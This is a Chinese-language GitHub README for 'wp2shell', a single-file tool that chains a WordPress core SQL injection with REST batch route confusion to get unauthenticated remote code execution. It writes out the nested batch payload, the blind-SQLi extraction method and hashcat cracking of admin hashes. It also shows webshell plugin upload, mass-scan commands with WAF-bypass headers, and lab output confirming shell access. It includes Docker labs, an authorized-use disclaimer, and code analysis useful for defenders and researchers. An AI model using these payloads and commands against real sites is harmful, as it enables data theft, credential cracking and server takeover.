0xsha/wp2shell
GitHub: 0xsha/wp2shell
一个针对 WordPress 核心未授权 RCE 漏洞链的概念验证工具,整合了 SQL 注入与 REST API 路由混淆,实现从数据库读取到远程代码执行的完整利用路径。
Stars: 53 | Forks: 17
# CVE-2026-63030 + CVE-2026-60137 - “wp2shell”:WordPress 核心未授权 RCE
| | |
|---|---|
| **利用链 (未授权 RCE)** | WordPress **6.9.0 - 6.9.4** 和 **7.0.0 - 7.0.1** |
| **仅 SQLi** (需要辅助插件/主题) | 6.8.0 - 6.8.5 |
| **不受影响** | ≤ 6.8 (对于*批次混淆*);6.9.5 / 7.0.2 / 7.1-beta2 (已修复) |
| **前置条件** | REST API 可达;**无持久化对象缓存** (Redis/Memcached);≥1 篇已发布的文章 |
| **所需权限** | 无 |
| **影响** | DB 读取 → 管理员哈希 → 作为 Web 用户执行代码 |
## 演示
## 本仓库的增量内容
- 一个原创的、仅使用标准库的工具 ([wp2shell.py](wp2shell.py)),将六个公开 PoC 的精华统一到单个文件中,没有 `requests` 依赖,也没有损坏的功能。
- 一个与版本无关的混淆检测器 (`block_cannot_read`),用作主要的、非破坏性的 `check`。
- 在每个命令中内置生产级通信支持:自签名 TLS、自定义标头、自定义 User-Agent、代理、重试、请求延迟。
- 一个经验证的 6.8.x 辅助 SQLi 路径 (`sqli`),这是其他 PoC 所不具备的。
- 可复现的 Docker 实验环境以及基于版本和数据库的可靠性矩阵,所有结果均在实验环境中验证。
- 新的 `$wp$2y$` 密码哈希 (`-m 35500`) 的 hashcat 模式。
```
wp2shell/
├── README.md ← you are here
├── wp2shell.py ← the unified PoC (single file, stdlib only, by 0xsha)
└── lab/ ← reproducible Docker labs + reliability matrix
├── docker-compose.yml (default 6.9.4 lab)
├── docker-compose.matrix.yml (parameterised: any version × MySQL/MariaDB)
├── docker-compose.sqli.yml (6.8.3 "SQLi only" lab)
├── matrix.sh (runs the whole reliability matrix)
└── sqli-only/facilitator.php (mu-plugin: the 6.8.x facilitating sink)
```
本工具汲取的六个公开 PoC 并未在此处作为内嵌依赖;它们的链接见 [鸣谢](#5-credits)。
下文的所有内容均在**本地 Docker 实验环境中验证过**(参见 [§4](#4-version--db-matrix-what-we-actually-tested));*未*在实验环境中实际运行过的断言均已标明。
## 1. 漏洞详情 - 代码深度剖析
此利用链将两个独立的 bug 接合在一起。行号取自**真实的 WordPress 6.9.4 源代码**(从 `wordpress:6.9.4-apache` 提取)。
### Bug A - `author__not_in` SQL 注入 (CVE-2026-60137)
`wp-includes/class-wp-query.php`, `WP_Query::get_posts()`:
```
2403 if ( ! empty( $query_vars['author__not_in'] ) ) {
2404 if ( is_array( $query_vars['author__not_in'] ) ) { // ← guard only fires for ARRAYS
2405 $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406 sort( $query_vars['author__not_in'] );
2407 }
2408 $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // ← string passes straight through
2409 $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // ← raw interpolation
2410 } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415 $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) ); // ← absint INSIDE implode
```
一个**字符串**类型的 `author__not_in` 绕过了 `is_array()` 保护 (2404);`implode(', ', (array)"…")` 原封不动地将其返回 (2408),随后它被原生拼接进 SQL 语句中 (2409)。同级的 `author__in` (2415) 在 implode *内部*重新应用了 `array_map('absint', …)` 并且是安全的 —— 缺少的正是那一个 `array_map`,这就是 bug 所在。
该值会变成 `... post_author NOT IN () ...` 的形式,因此 `0) -- -` 会闭合列表并追加 SQL 语句。
将*字符串*送到那里是最困难的部分:REST posts endpoint 将 `author_exclude → author__not_in` (`class-wp-rest-posts-controller.php:247`) 进行映射,但将其声明为整数 `'type' => 'array'`,因此核心代码会强制转换或拒绝字符串:
```
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer." (verified on 6.8.3)
```
这就是为什么单凭 Bug A 只能算是*“辅助”*。而 Bug B 在 6.9+ 版本上让字符串通过了验证。
### Bug B - REST 批量路由混淆 (CVE-2026-63030)
`wp-includes/rest-api/class-wp-rest-server.php`, `serve_batch_request_v1()`:
```
1720 if ( false === $parsed_url ) {
1721 $requests[] = new WP_Error( 'parse_path_failed', … ); // a bad path becomes a WP_Error IN $requests
1749 foreach ( $requests as $single_request ) {
1750 if ( is_wp_error( $single_request ) ) {
1752 $validation[] = $single_request; // ← pushed to $validation …
1753 continue; // ← … but $matches is SKIPPED
1754 }
1757 $matches[] = $match; // ← $matches only grows for VALID requests
1825 foreach ( $requests as $i => $single_request ) { // indexed by position in $requests
1841 $match = $matches[ $i ]; // ← $matches is SHORTER → +1 shift
1861 $result = $this->respond_to_request( $single_request, $route, $handler, $error );
```
一个 `WP_Error` 子请求被推入 `$validation[]` (1752),但**没有**被推入 `$matches[]`(1753 处的 `continue` 跳过了 1757),因此 `$matches` 变短了,`$matches[$i]` (1841) 持有了**下一个**请求的 handler。请求 *i* 在分发时使用了请求 *i+1* 的 handler,携带了它自己的参数和它自己的(已通过的)验证结果。
**回归起源(已验证 6.8.3 → 6.9.4 差异):** 在 6.8.3 中,循环为*每一个*请求推入 `$matches[] = $match`,并且错误的路径会在第一个循环中被丢弃 —— 数组保持对齐,**没有发生不同步**。6.9.0 的重构引入了这种偏移。这正是为什么 6.8.x “仅限 SQLi”,而 RCE 利用链从 6.9.0 开始的原因。
### 官方记录的修复 (6.9.5 / 7.0.2)
该补丁为错误条目也追加了 `$matches[]`,强化了重入机制,并使用 id-list 辅助程序解析 `author__not_in`。*(测试时 Docker Hub 上还没有 6.9.5,因此这来自于安全通告,而非实验环境中的差异比对。)*
## 2. 利用方法
### 2.1 双重路由混淆
批量 schema 仅允许 `POST/PUT/PATCH/DELETE` 子请求,但 posts 的 `get_items`(`author_exclude` 漏洞汇聚点)**仅限 GET**,因此混淆被嵌套了**两次**:
```
// OUTER batch → POST /wp-json/batch/v1
{"requests": [
{"method":"POST","path":"///"}, // [0] bad path → WP_Error → +1 shift
{"method":"POST","path":"/wp/v2/posts", // [1] carrier: validated as a posts CREATE →
"body": { /* INNER batch */ }}, // its `requests` body is never schema-checked
{"method":"POST","path":"/batch/v1", // [2] handler → [1] dispatched as serve_batch_request_v1
"body":{"requests":[]}} // (no permission_callback → unauthenticated)
]}
// INNER batch (GET now allowed):
// [0] POST /// WP_Error → inner +1 shift
// [1] GET /wp/v2/users?author_exclude= users has no author_exclude → PAYLOAD passes untouched
// [2] GET /wp/v2/posts [2]'s handler = posts get_items → runs [1] → SQLi
```
`///` 是触发不同步的引子(任何被 `wp_parse_url()` 拒绝的路径都有效)。该工具还附带了同样手法的 `--variant categories` 版本。
### 2.2 *在不触发* SQLi 的情况下检测混淆
一个单一的、非破坏性的、**与版本无关**的探测,即使在 SQLi 汇聚点被对象缓存或被 WAF 过滤的情况下,也能确认 CVE-2026-63030:一个由 `POST` 子请求组成的批次,其中不同步使得 `POST /wp/v2/posts` 被 **block-renderer 的**权限回调所应答:
```
responses[1].code == "block_cannot_read" ← a permission error from a handler it never asked for
```
`wp2shell.py check` 将其作为主要信号(以结构化的 post-vs-term 形状作为后备)。*(检测技术:Hadrian / Icex0。)*
### 2.3 从注入到数据 (盲注)
该值位于 `NOT IN ()` 内部,这是一个干净的布尔盲注:`0) AND ()-- -` 仅在 `` 成立时返回行。数据提取是通过针对 `ASCII(SUBSTRING(COALESCE((expr),''),n,1))` 的逐字符二分搜索实现的(`COALESCE` 可防止 NULL 值短路引发空读取)。
### 2.4 从数据到 shell (RCE)
1. `read --preset users` 提取 `wp_users.user_pass` —— WordPress 6.9 的 `$wp$2y$…` 格式(**基于 HMAC-SHA384 的 bcrypt**,密钥为 `wp-sha384`)。使用 **`hashcat -m 35500`** 破解(设计上速度很慢)。*(hashpwn / hashcat。)*
2. `shell` 登录 `/wp-login.php`,通过 `update.php?action=upload-plugin` 上传一个**基于 token 控制的** webshell 插件,并执行命令。
已验证:`uid=33(www-data)`。
### 2.5 6.8.x 的“仅限 SQLi”路径
6.8.x 存在 Bug A 但没有 Bug B,且核心代码会将 `author_exclude` 强制转换为整数数组,因此只有在通过向 `WP_Query` 传递原始字符串的**辅助**插件/主题时,SQLi 才是可达的。`sqli` 子命令直接注入到这样的汇聚点中(默认基于时间盲注;使用 `--true-contains` 实现快速的布尔盲注)。已针对 6.8.3 上的 `lab/sqli-only` 辅助程序进行了演示。
## 3. 用法
### 3.1 统一的 PoC - `wp2shell.py`
单文件,Python 3.7+,**仅使用标准库**。每个命令均支持生产级通信:`--insecure` (自签名 TLS),`-H 'K: V'` (可重复使用),`--user-agent`,`--proxy`,`--retries`,`--delay`。
```
check fingerprint + confusion marker + confirm the SQLi (non-destructive)
read read the DB via blind SQLi (--preset fingerprint|users | --query "SELECT …")
shell RCE: admin login → token-gated plugin webshell → run commands (-i for a REPL)
sqli author__not_in SQLi against a direct/facilitated sink (6.8.x, or any plugin sink)
scan threaded vuln-check over a single URL OR a .txt list (--prove, --json)
```
```
./wp2shell.py check https://target
./wp2shell.py read https://target --preset users # logins + $wp$2y$ hashes (+ hashcat hint)
./wp2shell.py read https://target --query "SELECT @@version"
./wp2shell.py shell https://target --user admin --password '' --cmd id
./wp2shell.py shell https://target --user admin --password '' -i
./wp2shell.py scan https://target --prove # single URL, extract @@version as proof
./wp2shell.py scan targets.txt --threads 10 --json out.json # a .txt of targets
./wp2shell.py sqli https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES
# 生产环境 knobs:自签名 TLS、WAF header、Burp、rate-limit
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2
```
### 3.2 实验环境
```
# 默认 vulnerable lab(WordPress 6.9.4 + MariaDB),http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli # wait for "LAB READY"
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v
bash lab/matrix.sh # full version × DB matrix
# "SQLi only" lab(6.8.3 + facilitating mu-plugin),http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
--param author_not_in --true-contains ROWS:YES --preset fingerprint
```
实验环境管理员账号为 `admin` / `Admin!2345` —— 以明文形式提供仅仅是为了让实验环境能够演示认证后的 `shell`;真实的攻击者会恢复*哈希值*并进行破解。
## 4. 版本与数据库矩阵 - 我们实际测试的内容
数据库范围仅限于 **MySQL 和 MariaDB** —— WordPress 核心在生产环境中不会使用其他数据库引擎(没有 PostgreSQL/MSSQL 驱动;SQLite 只能通过少见的插件支持)。
| WordPress | 数据库引擎 | 路径 | `check` | 提取的数据 |
|---|---|---|---|---|
| **6.9.4** | MariaDB 11 | batch chain | ✅ 完整 RCE | 管理员 `$wp$2y$…` 哈希 + `@@version` |
| **7.0.1** | MariaDB 11 | batch chain | ✅ 完整 RCE | 管理员哈希 |
| **6.9.4** | **MySQL 8.4** | batch chain | ✅ 完整 RCE | 管理员哈希 (payload 可移植) |
| **6.8.3** | MariaDB 11 | batch chain | ⛔ 返回 207 但**没有混淆** | - (与安全通告一致) |
| **6.8.3** | MariaDB 11 | 辅助 `sqli` | ✅ CVE-2026-60137 | `@@version`、user、db - 布尔**和**时间盲注 |
**在实验环境中执行过的每一个命令:** `check` (标记 `block_cannot_read` + 布尔盲注 + 时间盲注)、`read` (指纹识别 / users / `--query`)、`shell` (`--cmd` + 交互式 REPL → `uid=33(www-data)`)、`sqli` (布尔盲注 + 时间盲注)、`scan` (单个 URL + `.txt` + `--json` + `--prove`)、`--variant categories` payload、endpoint 自动检测 (`/wp-json/` + `?rest_route=`) 以及通信相关的 flag。
```
$ ./wp2shell.py check http://localhost:8080
[+] Batch endpoint reachable and unauthenticated (HTTP 207) at http://localhost:8080/wp-json/batch/v1
[+] Route confusion ACTIVE - categories request answered by the block-renderer handler (block_cannot_read); CVE-2026-63030 confirmed.
[+] SQL injection CONFIRMED - boolean-blind differential over author__not_in (CVE-2026-60137).
[+] Time-based channel also confirmed - baseline 0.02s vs injected 3.04s.
$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] crack the $wp$2y$ hashes with: hashcat -m 35500 …
$ ./wp2shell.py shell http://localhost:8080 --user admin --password 'Admin!2345' --cmd id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
## 5. 鸣谢
- **漏洞研究与披露:** **Adam Kues - Assetnote / Searchlight Cyber** (“wp2shell”),2026-07-17。
- **安全通告:** [GHSA-ff9f-jf42-662q](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q),[GHSA-fpp7-x2x2-2mjf](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf)。
分析文章:[Rapid7](https://www.rapid7.com/blog/post/etr-cve-2026-63030-wp2shell-a-critical-remote-code-execution-vulnerability-in-wordpress-core/),[Beazley Labs](https://labs.beazley.security/advisories/BSL-A1193),[Hadrian](https://hadrian.io/blog/wp2shell-a-pre-authentication-rce-in-wordpress-cores-rest-batch-api) (`block_cannot_read` 检测思路),[VulnCheck](https://www.vulncheck.com/blog/wp2shell)。
- **技术鸣谢**(每一项均在 `wp2shell.py` 中从零开始重新实现,未逐字复制代码):
- [attackercan/wp2shell-poc2](https://github.com/attackercan/wp2shell-poc2) - 验证了嵌套的双重混淆核心、盲注提取器、token 控制的 webshell + REPL。
- [Icex0/wp2shell-poc](https://github.com/Icex0/wp2shell-poc) - `block_cannot_read` 标记检测器、NULL 安全的 `COALESCE` 提取、抗抖动计时、失败时抛出异常的 `integer()`。
- [Senanfurkan/wordpress-cve-2026-63030](https://github.com/Senanfurkan/wordpress-cve-2026-63030) - 版本指纹识别/分类以及结构化路由混淆测试。
- [Lutfifakee-Project/wp2shell](https://github.com/Lutfifakee-Project/wp2shell) - 批量扫描。
- [NULL200OK/WP2Shell](https://github.com/NULL200OK/WP2Shell) - JSON 报告。
- [ekomsSavior/wp2shell](https://github.com/ekomsSavior/wp2shell) - 交互式 UX 灵感。
- **哈希破解模式** (`$wp$2y$` → `hashcat -m 35500`):hashpwn / hashcat。
## 法律 / 授权使用
仅用于**授权的安全测试与教育目的** —— 适用于您拥有或获得书面可以测试的系统。这里的所有利用行为均针对本地、一次性的 Docker 实验环境运行;webshell 受到 token 控制,且默认命令是无害的。您需对自己的使用方式负责。
标签:CISA项目, PoC, WordPress, 暴力破解, 版权保护, 编程工具, 请求拦截, 远程代码执行, 逆向工具